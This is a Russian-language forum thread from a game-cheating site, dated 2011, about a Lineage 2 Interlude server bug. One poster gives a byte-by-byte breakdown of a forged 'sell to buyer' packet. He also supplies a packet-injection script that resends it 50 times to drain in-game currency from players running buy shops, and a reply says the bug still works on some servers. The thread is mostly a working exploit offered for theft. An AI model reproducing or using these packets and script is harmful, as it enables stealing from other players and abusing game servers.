PDA

Просмотр полной версии : [Видео гайд]Кража через покупку [Hide 100 TH]


NeGGa
03.04.2011, 19:13
Chronicle: Interlude
Довольно актуально :goplol:
У меня дюп работает на ява серверах. Пробывал на одном ПТС - не вышло.
907VGGOzKC0

(c) Krips

Слив Special for zhyk.ru

vlaha
03.04.2011, 19:47
На самом деле,данный баг я нашел еще с пол года назад.
В паблик вылаживать не хотел.
На видео вообще нифига не понятно,поэтому делаю описание бага:
Суть бага в том,что мы в пакете на "Продажу покупающему" подменяем цену продажи, ObjectID продаваемого прмедмета, его ID.
Вот пример пакета:
96 01 00 00 00 01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00
Описание частей пакета:
96 - байт,который определяет тип пакета.
01 00 00 00 - objID игрока,который сидит на покупке.
01 00 00 00 - в нашем случае роли не играет.
49 BD 05 10 - ObjID любой шмотки,которая в нас есть.
85 5F 05 10 - ID "продаваемой" шмотки.Советую использовать вообще ID от фонаря,как у меня в примере.
01 00 00 00 - Количество "продаваемых" предметов,тоже для нас не играет роль.
AA 00 00 00 - Сумма аден,которую мы будем красть у игрока за одну отсылку пакета. Что бы задать свою сумму - идем в "Дополнительно","Переобразование". Выбираем DWord,пишем в левый столбик ,например, 1000000 и жмем на ">".В правом столбике получаем переобразованные байты.Их и подставляем.

Баг работает только с трейдерами,которые сидят на покупке!
Я активно пользовался этим багом ,поэтому был написан скрипт для простого высасывания адены.
var
i:integer;

begin
if (FromServer) and (pck[1]=#$B8) then
begin
buf:=HStr('96')+pck[2]+pck[3]+pck[4]+pck[5]+HStr('01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00');
for i:=1 to 50 do
SendToServerEx('vlaha');
end;
end.


AA 00 00 00 * заменяем на сумму адены,которая нам нужна
49 BD 05 10 заменяем на objID Любой шмотки,которая в нас в инвертаре
vlaha - заменяем на свой ник.
---
Запускаем скрипт,подходим к трейдеру,кликаем на него два раза,начинается процесс.
Мы попытаемся отобрать у него адену,которую мы указали в *.И так 50 раз подряд.Если у него много адены,то кликаем на него еще раз.И так,пока он не "встанет" с трейда.Когда это произошло,значит у него адены осталось меньше,чем вы указали во *.

Надеюсь,доступно объяснил.Спасибо за внимание.
(с) vlaha


Ах да,NeGGa, это не дюп,а просто воровство адены у трейдера.

Vektor T13
03.04.2011, 19:49
Баг хоть и бородатый, но еще работает на Грация серверах.

В ВидеоГайде много лишних действий. Можно просто ппродать 1 вещь и в конце пакета изменить цену на необходимую.